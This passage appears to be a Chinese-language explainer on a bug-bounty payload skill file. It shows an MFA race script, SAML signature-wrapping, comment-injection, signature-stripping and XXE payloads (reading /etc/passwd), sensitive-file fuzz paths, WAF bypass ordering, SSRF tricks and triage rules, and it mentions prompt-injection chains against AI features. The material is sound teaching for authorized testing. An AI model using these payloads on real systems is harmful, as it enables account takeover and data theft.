# After entering username/password, you get a session cookie
# Test: skip the /mfa/verify step entirely, go directly to /dashboard
# If cookie grants access before MFA = auth flow bypass

# Also: complete MFA in one session, reuse cookie in another browser
# Checks whether MFA completion is tied to the specific session

这是收益最高、成本最低的一条:不需要爆破。核心是「第一个 cookie 是否已经是完整权限会话」。

模式 7:MFA 验证竞态

import asyncio, aiohttp

# Race 2 MFA verifications simultaneously
# If both succeed = parallel session ATO
async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return await r.json()

async def race():
    async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
        results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
        print(results)

asyncio.run(race())

若两次并发都成功,说明「一次性校验」的读写不在同一原子操作中——相同模式也可用于「同一重置令牌并发使用两次」。

十五、SAML 攻击四式

攻击 1:XML 签名包装(XSW)

<!-- Original valid assertion: -->
<saml:Assertion ID="legit">
  <NameID>user@company.com</NameID>
  <ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
</saml:Assertion>

<!-- XSW: Inject malicious assertion before/after the signed one. -->
<!-- Server validates signature on #legit but processes #evil instead. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>     <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">              <!-- Original stays valid -->
    <NameID>user@company.com</NameID>
    <ds:Signature>VALID_SIGNATURE</ds:Signature>
  </saml:Assertion>
</saml:Response>

本质是签名引用(Reference URI)与业务取值(NameID)指向不同节点。校验方按 ID 找到 #legit 验证签名通过,业务方却按「第一个断言」或「XPath 匹配」选择了 #evil。

攻击 2:NameID 注释注入

<!-- Original: user@company.com -->
<!-- Injected:  -->
<NameID>admin<!---->@company.com</NameID>
<!-- XML parsers strip comments: admin@company.com -->
<!-- SAML validator sees "user@company.com" (before comment) -->
<!-- Application uses "admin@company.com" (after comment stripped) -->

利用两个组件对注释的处理差异:签名计算覆盖原始字节(含注释),应用侧解析后注释被剥离,得到 admin@company.com。

攻击 3:签名剥离

1. Capture SAMLResponse (base64 decode from browser)
2. Remove or modify the <Signature> element entirely
3. Change NameID to admin@company.com
4. Re-encode and submit
5. If server doesn't validate signature presence = admin login

这是最容易命中、也最容易被验证的一式。仓库已完成实测:docs/verification/phase2g-saml-mfa-xxe.md 用一份无 <ds:Signature> 的响应直接换取了 role: admin 的会话令牌,且 SP 同时不校验 IdP 身份、AudienceRestriction、NotOnOrAfter 时间界限与 SubjectConfirmation。实验室源码见 docs/verification/phase2g-lab/app.py,可复现。

攻击 4:SAML 断言内的 XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Response>
  <saml:Assertion>
    <NameID>&xxe;</NameID>
  </saml:Assertion>
</saml:Response>

SAML 端点天然解析 XML,是最容易被忽视的 XXE 入口——但要叠加第五节的解析器生态判断。

工具链

# SAMLRaider (Burp extension) — most automated XSW testing
# Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider

# Manual: decode, modify, re-encode
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml
# Edit saml.xml
cat saml.xml | base64 -w0  # Re-encode

base64 -w0 的 -w0 必须加,否则默认 76 字符换行会破坏 SAML 的 base64 完整性,导致服务端解析失败——这是手工改 SAML 最常见的翻车点。

十六、gf 模式名:recon 与 payload 的索引键

# Install: tomnomnom/gf
# Usage: cat urls.txt | gf PATTERN

gf xss          # XSS parameters
gf ssrf         # SSRF parameters
gf idor         # IDOR parameters
gf sqli         # SQL injection parameters
gf redirect     # Open redirect parameters
gf lfi          # Local file inclusion
gf rce          # Remote code execution parameters
gf ssti         # Template injection parameters
gf debug_logic  # Debug/logic parameters
gf secrets      # Secret/token patterns
gf upload-fields # File upload parameters
gf cors         # CORS-related parameters

这 12 个模式名不是随意命名的——它们与本技能的 payload 章节一一对应。技能自己在 Related Skills & Chains 里写明了这套契约:gf xss/ssrf/sqli 的输出直接索引到对应 payload 章节。于是整条流水线变成:

web2-recon 产出 URL 集 → gf <pattern> 分类 → 本技能查对应 payload → hunt-* 技能判定 sink

这解释了为什么 gf 的 12 个名字值得单独占一节:它是「几百条 URL」与「几十节 payload」之间唯一的映射层。

十七、ALWAYS REJECTED:绝不提交清单

技能对这一节的开场白是「Submitting these destroys your validity ratio. N/A hurts. Don't.」——提交这些会直接稀释有效率。完整清单:

Missing CSP / HSTS / X-Frame-Options / other security headers
Missing SPF / DKIM / DMARC
GraphQL introspection alone (no auth bypass, no IDOR)
Banner / version disclosure without a working CVE exploit
Clickjacking on non-sensitive pages (no sensitive action in PoC)
Tabnabbing
CSV injection (no actual code execution shown)
CORS wildcard (*) without credential exfil PoC
Logout CSRF
Self-XSS (only exploits own account)
Open redirect alone (no ATO chain, no OAuth code theft)
OAuth client_secret in mobile app (disclosed, expected)
SSRF with DNS callback only (no internal service access)
Host header injection alone (no password reset poisoning PoC)
Rate limit on non-critical forms (login page Cloudflare, search, contact)
Session not invalidated on logout
Concurrent sessions allowed
Internal IP address in error message
Mixed content (HTTP resources on HTTPS page)
SSL weak cipher suites
Missing HttpOnly / Secure cookie flags alone
Broken external links
Pre-account takeover (usually — requires very specific conditions)
Autocomplete on password fields

这 24 条可以被归成四类,理解分类比背清单更有用:

类别 代表条目 被拒的根因
配置最佳实践缺失 缺安全头、缺 SPF/DKIM/DMARC、弱加密套件、缺 HttpOnly/Secure、mixed content 没有具体攻击者收益,属加固建议而非漏洞
仅证明「技术可能」 单独 GraphQL introspection、仅 DNS 回调的 SSRF、单独开放重定向、CORS 通配符无凭据外带、CSV 注入无代码执行 缺可演示影响(对应 triage Q6)
仅影响本人 Self-XSS、登出 CSRF、自动填充密码框 攻击者无法触达他人(对应 Q4)
预期/已公开行为 移动端内嵌 client_secret、会话不在登出时失效、允许并发会话、错误页含内网 IP、失效外链 平台已知且接受(对应 Q5)

注意 Rate limit on non-critical forms 括号里的细节:登录页已有 Cloudflare、搜索、联系表单——这三类位置即使无限速通常也不付费,因为它不构成对敏感操作的暴力破解前置。

十八、CONDITIONALLY VALID:必须成链

这张表的逻辑是:孤立原语无价值,但只要串到真实影响就成立。

Standalone Finding Chain Required Result if Chained
Open redirect + OAuth code theft via redirect_uri abuse ATO (Critical)
Clickjacking + sensitive action + working PoC (not just login) Medium
CORS wildcard + credentialed request exfils user data High
CSRF + sensitive action (transfer funds, change email) High
Rate limit bypass + OTP/token brute force succeeding Medium/High
SSRF DNS-only + internal service access + data retrieval Medium
Host header injection + password reset email uses it High
Prompt injection + reads other user's data (IDOR) OR exfil OR RCE High
S3 bucket listing + JS bundles with API keys/OAuth secrets Medium/High
Self-XSS + CSRF to trigger it on victim Medium
Subdomain takeover + OAuth redirect_uri registered at that subdomain Critical
GraphQL introspection + auth bypass mutation or IDOR on node() High

表格下方那句规则是整节的灵魂:

Rule: Build the chain first, confirm it works end-to-end, THEN report. Never report A and say "could chain with B" — prove it.

也就是说,「A 可以和 B 串联」这种推测性表述是被明确禁止的。这与 triage-validation 的 Pre-Severity Gate 第 1 问完全同构:「你验证了通往攻击者可达成影响的完整链条,还是只验证了链条中间的一个原语?」

几个值得单独强调的链条:

  • Open redirect → ATO:攻击点不在跳转本身,而在 redirect_uri 白名单是否复用同一套校验。只有当 OAuth 授权码能被投递到攻击者域,才是 Critical。
  • Subdomain takeover → Critical:唯一让它从 Medium 跳到 Critical 的条件是「该子域已在 IdP 的 redirect_uri 注册」。捡到 dangling CNAME 只是起点。
  • Prompt injection → High:单独的系统提示泄露通常不付费;需要「读到他人数据」或「可外带」或「可执行」三者之一。

十九、字典与高危路径

技能假定字典位于 ~/wordlists/:

common.txt         # Common directories and files
params.txt         # Parameter names (id, user_id, file, etc.)
api-endpoints.txt  # API endpoint paths (/api/v1/users, etc.)
dirs.txt           # Directory names
sensitive.txt      # Sensitive paths (.env, config.json, backup, etc.)

需要说明的是:在仓库 scripts/ 目录下未检索到 wordlists 的下载或生成逻辑,因此这五个文件属于需自行准备的外部依赖,技能只约定了路径与用途。这也意味着第一次使用前应确认 ~/wordlists/ 是否存在,否则 ffuf -w、hashcat 相关命令会直接失败。

值得直接 fuzz 的内置路径

# Sensitive files
/.env
/.git/config
/config.json
/credentials.json
/backup.sql
/dump.sql
/.DS_Store
/robots.txt
/sitemap.xml
/.well-known/security.txt

# Admin panels
/admin
/admin/login
/administrator
/wp-admin
/manager
/console
/dashboard
/panel

# API discovery
/api
/api/v1
/api/v2
/graphql
/graphiql
/swagger
/swagger-ui.html
/api-docs
/openapi.json
/v1
/v2

这三个分组对应三条不同的后续动作:敏感文件命中后转向 hunt-source-leak(.env、.git/config、backup.sql 属真实凭据泄露,与「缺安全头」完全不是一个量级);管理面板命中后转向 hunt-auth-bypass;API 发现命中后转向 hunt-api-misconfig / hunt-graphql / hunt-shadow-api。/.well-known/security.txt 与 robots.txt 的价值不在漏洞本身,而在资产与联系人信息——它们常暴露内部路径与安全团队邮箱。

二十、相关技能与链式协作

技能末尾的 Related Skills & Chains 定义了它与五个技能的工作流原语(workflow primitive)关系,这是理解整个 bundle 设计的关键:

协作技能 触发时机 契约
hunt-xss / hunt-ssrf / hunt-sqli / hunt-ssti / hunt-idor 正在测试某个参数、需要 payload 时 「hunt-* 技能识别 sink,本技能提供语法」
triage-validation 判定某个发现是否可报告时 两份「总是拒绝」与「条件成立」表必须一致;本技能为 Q7 提供 chain-required 映射
web2-recon URL 集已被 gf 分类后 gf 输出 → 查本技能对应 payload 章节;gf 的模式名直接索引 payload 章节
evidence-hygiene payload 产生了值得截图的输出后 证明影响(窃取 cookie、数据外带)后交接,做涂黑/裁剪
bb-methodology Phase 3(Discovery)按输入类型分流时 Phase 3 的决策流(「ID 参数 → IDOR 清单」「URL 输入 → SSRF 清单」)指名加载本技能的哪一节

把这个契约画成一次完整的下钻:

recon 产出 URL 集
  └─ gf xss / ssrf / sqli 分类              (web2-recon)
       └─ security-arsenal 查对应 payload   (本技能)
            └─ hunt-* 判定 sink 与上下文    (hunt-xss 等)
                 └─ cbh triage 跑 7 问门    (triage-validation)
                      └─ evidence-hygiene 涂黑截图
                           └─ report-writing 出报告

cbh classify 的输出也照此设计——cbh/cli.py 打印四条 next moves:读对应 Pattern Library、挑置信度最高的攻击、在声称成功前应用 OOB-Or-It-Didn't-Happen Gate、最后用 cbh triage <finding.md>。

二十一、Operator Notes:2026 年的时效性与判定纪律

正文之后还有一层「本仓库特有」的补充,开篇即声明:上游 payload 库覆盖 WHAT,这一层覆盖 WHEN-IT-WORKS-vs-WHEN-IT-DOESN'T。它基于真实授权测试与仓库 31+ 技能域的实测。

21.1 payload 时效性:哪些已经过期

  • HTTP 走私:经典 CL.TE / TE.CL 对 Nginx ≥ 1.21、Caddy 2.x、Envoy ≥ 1.20 已失效(Phase 2H 验证)。仍有效:HAProxy ≤ 2.4、旧 F5 BIG-IP、Citrix ADC、特定 AWS ALB 配置、Apache Traffic Server。
  • XXE:Python lxml ≥ 5.x 默认静默丢弃 SYSTEM 实体(Phase 2G 验证)。仍有效:Java SAX、PHP DOMDocument + LIBXML_NOENT、.NET XmlDocument 且 XmlResolver 仍启用、lxml < 5.0、Ruby Nokogiri + DTDLOAD、以及大量嵌入式 XML 处理器(SOAP 库、SAML 实现、Office 文档解析器)。
  • 其他「默认过期但非处处过期」:javascript: URL 在 <a href>(Chrome 需显式手势;WebView/Electron/旧 Edge 仍可)、data:text/html 顶层导航(现代浏览器在导航上下文剥离)、Location: 中的 CRLF 注入(多数反代已归一化)。

原文的操作建议是「在真实目标环境中测试,而不是在通用浏览器里测试」——这句话应该被理解为:payload 的有效性取决于目标所用的解析器版本,而不是 payload 本身。

21.2 WAF 绕过评估顺序

当同一 WAF 存在多种绕过时,尝试顺序是有讲究的:

  1. 编码技巧 —— 大小写(SeLeCt)、URL 编码一次/两次、Unicode 转义、HTML 实体(&#x3c;)、UTF-8 超长序列。
  2. 解析器怪癖 —— XML 命名空间、JSON 关键字中间的 \u 转义、application/json 与 application/x-www-form-urlencoded 的解析器混淆、multipart 边界技巧。
  3. 协议层 —— HTTP/2 vs HTTP/1.1(部分 WAF 只检其一)、Host 头注入、X-Original-URL、X-Forwarded-* 走私。
  4. WAF 规则特化绕过 —— Cloudflare、AWS WAF、Akamai、Imperva、F5 ASM 各自的已知签名缺口。

原文的关键判断是:大多数测试在第二步就结束了——因为现代 WAF 恰恰在「解析器怪癖」这一类上失效,WAF 与源站对「什么是合法请求」的理解不一致。这也是为什么第 2 步优先于第 3、4 步。

21.3 OOB-Or-It-Didn't-Happen Gate

所有盲原语(盲 SQLi、盲 XSS、盲 SSRF、盲 RCE、盲 XXE)都必须有带外确认,无例外。判据是:

一个 500 页面里写着 you have an error in your SQL syntax,可能是另一个请求留下的解析器日志;打到 Burp Collaborator(或 interactsh)域名并确认回调,才能算数。

回调基础设施排序(2026 年视角):Burp Collaborator(Pro 许可,最干净)> interactsh-client(开源,可比)> DNSLog.cn(免费但由第三方记录,付费项目绝不可用)> 自建 catch-all DNS + HTTP 监听(长周期项目最可靠)。

仓库的 docs/verification/hardened-lab-discipline-rules.md 用一个「只回显 URL、不做任何出站请求」的假 SSRF 端点证明了这道门的价值:/fetch?url=http://attacker.com/x 会原样回显 Could not fetch http://attacker.com/x — destination unreachable,看起来像已处理,实际上零回调。

21.4 Marker 纪律

通用词在目标内容里天然存在。搜索 javascript 命中「JavaScript Tutorial」不是反射,是关键词重合。必须用唯一随机串:

m=$(head -c 12 /dev/urandom | base64 | tr -d '+/=' | head -c 12)
# now m is like "K7gXq2pNRm1z" — search for THIS in the response
curl "https://target/search?q=${m}" | grep -c "$m"

判定链是逐步升级的:响应里出现 → 有反射;在 HTML 上下文未转义 → 有 XSS 潜力;在 Location 头 → 重定向;在 SQL 错误里 → 注入。原文的结论是「marker 是唯一事实源,通用关键词会骗人」。

同一份验证文档给出了反面案例:canary 字符串 XSS-test 命中的是 CSS 类名而非注入点;字面词 javascript 在 SharePoint 帮助链接的 href 里出现了四处,被误读为「X-Forwarded-Proto 反射」。

21.5 噪声型 oracle 的统计采样

单次时间差异是噪声。要求 n≥10 交错试验、Welch t 统计量 > 3,或等效的置信区间分离:

import statistics
def welch_t(a, b):
    ma, mb = statistics.mean(a), statistics.mean(b)
    va, vb = statistics.variance(a), statistics.variance(b)
    return (ma - mb) / ((va/len(a) + vb/len(b)) ** 0.5)
# interleave control + test trials, n=10 each, t > 3 = signal

这段代码值得逐项解释:va/len(a) + vb/len(b) 是两组均值差的标准误平方(不假设方差齐性,即 Welch 而非 Student);交错(interleave)是为了让网络抖动与系统负载对两组施加同分布影响。验证文档给出的实际数据是单次 129ms 差异(会被提交),n=10 交错后得 78ms vs 191ms、t=5.26(真实信号);反例则是 SharePoint Authentication.asmx 的单次 1527ms vs ~700ms,n=80 交错复现后每组都收敛到 685–716ms——纯噪声。

同样的规则适用于响应用长度或状态码做判据的盲布尔 oracle:采样,不要假设。

二十二、工程侧约束:lint 如何管住这个技能

security-arsenal 这类「payload 密集」的技能文件,恰好是 lint 规则最容易被触发的对象。看 scripts/lint_skills.py 的硬约束:

检查项 规则 对本技能的含义
frontmatter 必须以 --- 开头并闭合 已满足
name 匹配 ^[a-z0-9-]+$ 且等于目录名 security-arsenal ✓
description 存在且 ≤ 1024 字符(超出为 error) 当前描述远低于上限
body 行数 > 500 行仅 warning(建议改用 references/ 子目录) 本文件正文约 900 行,会触发告警但不阻断——这正是「单文件 payload 库」的取舍空间
sources 必填(GROUNDING_STRICT = True 下为 error) community, public_research ✓
report_count 仅 hunt-* 技能需要 本技能不适用
真实密钥扫描 AWS key / 私钥块 / JWT / Slack / Google / GitHub PAT 本文件含大量 payload 与正则示例,靠 SECRET_ALLOW 白名单(EXAMPLE、<...>、...)放行
客户标识 denylist 对全文做 1–2 词 shingle 的 sha256 比对 明文客户名不入库,仓库只存哈希

还有一条容易被忽略的 yaml_safety_errors():frontmatter 中未加引号且含 ": "(冒号+空格)的值会被严格 YAML 解析器(如 Codex)读成嵌套映射,而宽松的正则解析器却能通过。这是历史上 hunt-ntlm-info 踩过的坑,现在被前移为 lint 错误。

安全侧还有一条隐含纪律:这份文件里所有域名都是示例域名(attacker.com、burpcollaborator.net、target.com),配合 scripts/scan_identifiers.py 与 denylist 机制,确保真实客户标识不会随 payload 示例一起提交进公开仓库。

二十三、一次完整的实战编排

把上面所有零件拼成一条可执行的路径(以授权范围内的目标为例):

第 1 步:分类,决定查哪一节 payload

cbh classify "https://api.target.com/v1/users/42?next=https://evil.com"

从 cbh/cli.py 的 URL_PATTERN_TO_SKILLS 可见,这条 URL 会同时命中 hunt-ssrf(next=)、hunt-idor(id= 数字)、hunt-api-misconfig(/api/、/v[0-9]/)。于是你知道要翻本技能的「SSRF」「IDOR」两节。

第 2 步:按上下文取 payload 并验证反弹

  • SSRF → 先测 IP 变形(2130706433、0177.0.0.1、[::ffff:127.0.0.1]),再上元数据;盲打必须挂 Collaborator。
  • IDOR → 数字 ID 递增、UUID 换值、方法切换、旧版本路径、追加 user_id 参数五连。

第 3 步:先指纹,再决定是否投入

  • 走私前查 Server: 头;nginx/1.21+/caddy 2.x/envoy 1.20+ 直接放弃 CL/TE。
  • XXE 前判断解析器生态;现代 Python 栈优先级下调。

第 4 步:用唯一 marker 确认反射,用统计采样确认时间信号

m=$(head -c 12 /dev/urandom | base64 | tr -d '+/=' | head -c 12)
curl "https://target/search?q=${m}" | grep -c "$m"

第 5 步:串链,而不是孤立提交

若命中开放重定向,不要停;继续验证 OAuth redirect_uri 是否在白名单中复用同一域名,直到拿到授权码或会话为止。

第 6 步:过 7 问门

cbh triage findings/idor-2026-05-16.md

它在 cbh/cli.py 中定义了七组信号词;Q7 是反向判定(命中 never-submit 信号即判 NO),其余六问需要找到支持证据。判决只有三种:全过 → PASS;仅 Q2/Q5 失败 → DOWNGRADE(降级可继续);其余 → KILL。

第 7 步:证据卫生 + 出报告

证明影响后(cookie 外带成功、他人 PII 回显、元数据返回),交接 evidence-hygiene 做涂黑,再用 cbh report findings/xxx.md --platform bugcrowd --out draft.md 生成草稿。

二十四、使用边界

这个技能的定位决定了它的使用前提:

  1. 只用于授权范围。文件内的所有域名都是示例;target.com 不是可打目标。
  2. 不做破坏性验证。命令注入推荐先 id、先 sleep;报告里的 RCE 证据应是执行身份而非破坏后果。
  3. 不把 payload 当结论。payload 库解决的是「怎么说」,triage-validation 解决的是「值不值得说」。两者混用是产生 N/A 的主要来源。
  4. 时效性自负。文件已明确标注 2026 年哪些 payload 在哪些栈上失效;遇到新版本解析器,应把它当作「更新知识」而非「技能出错」。

把这份技能放回 Claude-BugHunter 的整体架构里看,它的价值不在于收集了多少条 payload——而在于它同时提供了三样东西:可复制的语法(每类漏洞的完整 payload 集)、可判定的边界(哪些永远不提交、哪些必须成链)、以及可验证的时效性(哪些在哪个版本上已经死了,证据在哪个实验室里)。前两者让它成为随手可用的字典,第三者让它不至于变成一本过期的剪贴板。

登录后查看全文
Claude-BugHunter